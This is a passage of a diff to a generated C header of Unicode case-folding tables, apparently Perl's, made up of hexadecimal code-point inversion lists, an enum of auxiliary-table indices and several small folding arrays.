0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BC, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E4, + 0x9E6, + 0x9FC, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABC, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE4, + 0xAE6, + 0xAF2, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3C, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB64, + 0xB66, + 0xB78, + 0xB82, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBFB, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC64, + 0xC66, + 0xC70, + 0xC78, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBC, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE4, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD50, + 0xD54, + 0xD64, + 0xD66, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF5, + 0xE01, + 0xE3B, + 0xE3F, + 0xE5C, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, + 0xF00, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, + 0xF98, + 0xF99, + 0xFBD, + 0xFBE, + 0xFCD, + 0xFCE, + 0xFDB, + 0x1000, 0x10C6, 0x10C7, 0x10C8, 0x10CD, 0x10CE, + 0x10D0, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135D, + 0x137D, + 0x1380, + 0x139A, + 0x13A0, + 0x13F6, 0x13F8, 0x13FE, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C85, - 0x1C86, - 0x1C87, - 0x1C88, + 0x1400, + 0x169D, + 0x16A0, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1715, + 0x1720, + 0x1737, + 0x1740, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17DE, + 0x17E0, + 0x17EA, + 0x17F0, + 0x17FA, + 0x1800, + 0x180F, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1940, + 0x1941, + 0x1944, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DB, + 0x19DE, + 0x1A1C, + 0x1A1E, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA0, + 0x1AAE, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B4C, + 0x1B50, + 0x1B7D, + 0x1B80, + 0x1BF4, + 0x1BFC, + 0x1C38, + 0x1C3B, + 0x1C4A, + 0x1C4D, 0x1C89, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E96, - 0x1E97, - 0x1E98, - 0x1E99, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, + 0x1CC0, + 0x1CC8, + 0x1CD0, + 0x1CF7, + 0x1CF8, + 0x1CFA, + 0x1D00, + 0x1DF6, + 0x1DFB, + 0x1F16, 0x1F18, 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, + 0x1F20, + 0x1F46, 0x1F48, 0x1F4E, 0x1F50, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, + 0x1F58, 0x1F59, 0x1F5A, 0x1F5B, @@ -933,3391 +540,1409 @@ static const UV Case_Folding_invlist[] = { /* for ASCII/Latin1 */ 0x1F5D, 0x1F5E, 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, + 0x1F7E, 0x1F80, - 0x1F81, - 0x1F82, - 0x1F83, - 0x1F84, - 0x1F85, - 0x1F86, - 0x1F87, - 0x1F88, - 0x1F89, - 0x1F8A, - 0x1F8B, - 0x1F8C, - 0x1F8D, - 0x1F8E, - 0x1F8F, - 0x1F90, - 0x1F91, - 0x1F92, - 0x1F93, - 0x1F94, - 0x1F95, - 0x1F96, - 0x1F97, - 0x1F98, - 0x1F99, - 0x1F9A, - 0x1F9B, - 0x1F9C, - 0x1F9D, - 0x1F9E, - 0x1F9F, - 0x1FA0, - 0x1FA1, - 0x1FA2, - 0x1FA3, - 0x1FA4, - 0x1FA5, - 0x1FA6, - 0x1FA7, - 0x1FA8, - 0x1FA9, - 0x1FAA, - 0x1FAB, - 0x1FAC, - 0x1FAD, - 0x1FAE, - 0x1FAF, - 0x1FB0, - 0x1FB2, - 0x1FB3, - 0x1FB4, 0x1FB5, 0x1FB6, - 0x1FB7, - 0x1FB8, - 0x1FBA, - 0x1FBC, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC3, - 0x1FC4, 0x1FC5, 0x1FC6, - 0x1FC7, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD2, - 0x1FD3, 0x1FD4, 0x1FD6, - 0x1FD7, - 0x1FD8, - 0x1FDA, 0x1FDC, - 0x1FE2, - 0x1FE3, - 0x1FE4, - 0x1FE5, - 0x1FE6, - 0x1FE7, - 0x1FE8, - 0x1FEA, - 0x1FEC, - 0x1FED, + 0x1FDD, + 0x1FF0, 0x1FF2, - 0x1FF3, - 0x1FF4, 0x1FF5, 0x1FF6, - 0x1FF7, - 0x1FF8, - 0x1FFA, - 0x1FFC, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212B, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, + 0x1FFF, + 0x2000, + 0x2065, + 0x2066, + 0x2072, + 0x2074, + 0x208F, + 0x2090, + 0x209D, + 0x20A0, + 0x20BF, + 0x20D0, + 0x20F1, + 0x2100, + 0x218C, + 0x2190, + 0x23FF, + 0x2400, + 0x2427, + 0x2440, + 0x244B, + 0x2460, + 0x2B74, + 0x2B76, + 0x2B96, + 0x2B98, + 0x2BBA, + 0x2BBD, + 0x2BC9, + 0x2BCA, + 0x2BD2, + 0x2BEC, + 0x2BF0, 0x2C00, 0x2C2F, + 0x2C30, + 0x2C5F, 0x2C60, - 0x2C61, - 0x2C62, - 0x2C63, - 0x2C64, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C6E, - 0x2C6F, - 0x2C70, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C80, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, + 0x2CF4, + 0x2CF9, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D71, + 0x2D7F, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E45, + 0x2E80, + 0x2E9A, + 0x2E9B, + 0x2EF4, + 0x2F00, + 0x2FD6, + 0x2FF0, + 0x2FFC, + 0x3000, + 0x3040, + 0x3041, + 0x3097, + 0x3099, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x3190, + 0x31BB, + 0x31C0, + 0x31E4, + 0x31F0, + 0x321F, + 0x3220, + 0x32FF, + 0x3300, + 0x4DB6, + 0x4DC0, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA490, + 0xA4C7, + 0xA4D0, + 0xA62C, 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77E, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AB, - 0xA7AC, - 0xA7AD, - 0xA7AE, + 0xA6F8, + 0xA700, 0xA7AF, 0xA7B0, - 0xA7B1, - 0xA7B2, - 0xA7B3, - 0xA7B4, - 0xA7B5, - 0xA7B6, - 0xA7B7, + 0xA7B8, + 0xA7F7, + 0xA82C, + 0xA830, + 0xA83A, + 0xA840, + 0xA878, + 0xA880, + 0xA8C6, + 0xA8CE, + 0xA8DA, + 0xA8E0, + 0xA8FE, + 0xA900, + 0xA954, + 0xA95F, + 0xA97D, + 0xA980, + 0xA9CE, + 0xA9CF, + 0xA9DA, + 0xA9DE, + 0xA9FF, + 0xAA00, + 0xAA37, + 0xAA40, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5C, + 0xAAC3, + 0xAADB, + 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB66, 0xAB70, - 0xABC0, + 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xD800, + 0xFA6E, + 0xFA70, + 0xFADA, 0xFB00, - 0xFB01, - 0xFB02, - 0xFB03, - 0xFB04, - 0xFB05, 0xFB07, 0xFB13, - 0xFB14, - 0xFB15, - 0xFB16, - 0xFB17, 0xFB18, - 0xFF21, - 0xFF3B, + 0xFB1D, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBC2, + 0xFBD3, + 0xFD40, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFE, + 0xFE00, + 0xFE1A, + 0xFE20, + 0xFE53, + 0xFE54, + 0xFE67, + 0xFE68, + 0xFE6C, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFEFF, + 0xFF00, + 0xFF01, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0xFFE0, + 0xFFE7, + 0xFFE8, + 0xFFEF, + 0xFFF9, + 0xFFFE, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10100, + 0x10103, + 0x10107, + 0x10134, + 0x10137, + 0x1018F, + 0x10190, + 0x1019C, + 0x101A0, + 0x101A1, + 0x101D0, + 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x102E0, + 0x102FC, + 0x10300, + 0x10324, + 0x10330, + 0x1034B, + 0x10350, + 0x1037B, + 0x10380, + 0x1039E, + 0x1039F, + 0x103C4, + 0x103C8, + 0x103D6, 0x10400, - 0x10428, + 0x1049E, + 0x104A0, + 0x104AA, 0x104B0, 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x1056F, + 0x10570, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10857, + 0x1089F, + 0x108A7, + 0x108B0, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x108FB, + 0x1091C, + 0x1091F, + 0x1093A, + 0x1093F, + 0x10940, + 0x10980, + 0x109B8, + 0x109BC, + 0x109D0, + 0x109D2, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A48, + 0x10A50, + 0x10A59, + 0x10A60, + 0x10AA0, + 0x10AC0, + 0x10AE7, + 0x10AEB, + 0x10AF7, + 0x10B00, + 0x10B36, + 0x10B39, + 0x10B56, + 0x10B58, + 0x10B73, + 0x10B78, + 0x10B92, + 0x10B99, + 0x10B9D, + 0x10BA9, + 0x10BB0, + 0x10C00, + 0x10C49, 0x10C80, 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - CF_0 = 0, - CF_use_AUX_TABLE_1 = -1, - CF_use_AUX_TABLE_2 = -2, - CF_use_AUX_TABLE_3 = -3, - CF_use_AUX_TABLE_4 = -4, - CF_use_AUX_TABLE_5 = -5, - CF_use_AUX_TABLE_6 = -6, - CF_use_AUX_TABLE_7 = -7, - CF_use_AUX_TABLE_8 = -8, - CF_use_AUX_TABLE_9 = -9, - CF_use_AUX_TABLE_10 = -10, - CF_use_AUX_TABLE_11 = -11, - CF_use_AUX_TABLE_12 = -12, - CF_use_AUX_TABLE_13 = -13, - CF_use_AUX_TABLE_14 = -14, - CF_use_AUX_TABLE_15 = -15, - CF_use_AUX_TABLE_16 = -16, - CF_use_AUX_TABLE_17 = -17, - CF_use_AUX_TABLE_18 = -18, - CF_use_AUX_TABLE_19 = -19, - CF_use_AUX_TABLE_20 = -20, - CF_use_AUX_TABLE_21 = -21, - CF_use_AUX_TABLE_22 = -22, - CF_use_AUX_TABLE_23 = -23, - CF_use_AUX_TABLE_24 = -24, - CF_use_AUX_TABLE_25 = -25, - CF_use_AUX_TABLE_26 = -26, - CF_use_AUX_TABLE_27 = -27, - CF_use_AUX_TABLE_28 = -28, - CF_use_AUX_TABLE_29 = -29, - CF_use_AUX_TABLE_30 = -30, - CF_use_AUX_TABLE_31 = -31, - CF_use_AUX_TABLE_32 = -32, - CF_use_AUX_TABLE_33 = -33, - CF_use_AUX_TABLE_34 = -34, - CF_use_AUX_TABLE_35 = -35, - CF_use_AUX_TABLE_36 = -36, - CF_use_AUX_TABLE_37 = -37, - CF_use_AUX_TABLE_38 = -38, - CF_use_AUX_TABLE_39 = -39, - CF_use_AUX_TABLE_40 = -40, - CF_use_AUX_TABLE_41 = -41, - CF_use_AUX_TABLE_42 = -42, - CF_use_AUX_TABLE_43 = -43, - CF_use_AUX_TABLE_44 = -44, - CF_use_AUX_TABLE_45 = -45, - CF_use_AUX_TABLE_46 = -46, - CF_use_AUX_TABLE_47 = -47, - CF_use_AUX_TABLE_48 = -48, - CF_use_AUX_TABLE_49 = -49, - CF_use_AUX_TABLE_50 = -50, - CF_use_AUX_TABLE_51 = -51, - CF_use_AUX_TABLE_52 = -52, - CF_use_AUX_TABLE_53 = -53, - CF_use_AUX_TABLE_54 = -54, - CF_use_AUX_TABLE_55 = -55, - CF_use_AUX_TABLE_56 = -56, - CF_use_AUX_TABLE_57 = -57, - CF_use_AUX_TABLE_58 = -58, - CF_use_AUX_TABLE_59 = -59, - CF_use_AUX_TABLE_60 = -60, - CF_use_AUX_TABLE_61 = -61, - CF_use_AUX_TABLE_62 = -62, - CF_use_AUX_TABLE_63 = -63, - CF_use_AUX_TABLE_64 = -64, - CF_use_AUX_TABLE_65 = -65, - CF_use_AUX_TABLE_66 = -66, - CF_use_AUX_TABLE_67 = -67, - CF_use_AUX_TABLE_68 = -68, - CF_use_AUX_TABLE_69 = -69, - CF_use_AUX_TABLE_70 = -70, - CF_use_AUX_TABLE_71 = -71, - CF_use_AUX_TABLE_72 = -72, - CF_use_AUX_TABLE_73 = -73 -} CF_enum; - -#define HAS_CF_AUX_TABLES - -static const unsigned int CF_AUX_TABLE_1[] = { - 0x73, - 0x73 -}; - -static const unsigned int CF_AUX_TABLE_2[] = { - 0x69, - 0x307 -}; - -static const unsigned int CF_AUX_TABLE_3[] = { - 0x2BC, - 0x6E -}; - -static const unsigned int CF_AUX_TABLE_4[] = { - 0x6A, - 0x30C -}; - -static const unsigned int CF_AUX_TABLE_5[] = { - 0x3B9, - 0x308, - 0x301 -}; - -static const unsigned int CF_AUX_TABLE_6[] = { - 0x3C5, - 0x308, - 0x301 -}; - -static const unsigned int CF_AUX_TABLE_7[] = { - 0x565, - 0x582 -}; - -static const unsigned int CF_AUX_TABLE_8[] = { - 0x68, - 0x331 -}; - -static const unsigned int CF_AUX_TABLE_9[] = { - 0x74, - 0x308 -}; - -static const unsigned int CF_AUX_TABLE_10[] = { - 0x77, - 0x30A -}; - -static const unsigned int CF_AUX_TABLE_11[] = { - 0x79, - 0x30A -}; - -static const unsigned int CF_AUX_TABLE_12[] = { - 0x61, - 0x2BE -}; - -static const unsigned int CF_AUX_TABLE_13[] = { - 0x3C5, - 0x313 -}; - -static const unsigned int CF_AUX_TABLE_14[] = { - 0x3C5, - 0x313, - 0x300 -}; - -static const unsigned int CF_AUX_TABLE_15[] = { - 0x3C5, - 0x313, - 0x301 -}; - -static const unsigned int CF_AUX_TABLE_16[] = { - 0x3C5, - 0x313, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_17[] = { - 0x1F00, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_18[] = { - 0x1F01, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_19[] = { - 0x1F02, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_20[] = { - 0x1F03, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_21[] = { - 0x1F04, - 0x3B9 -}; - -static const unsigned int 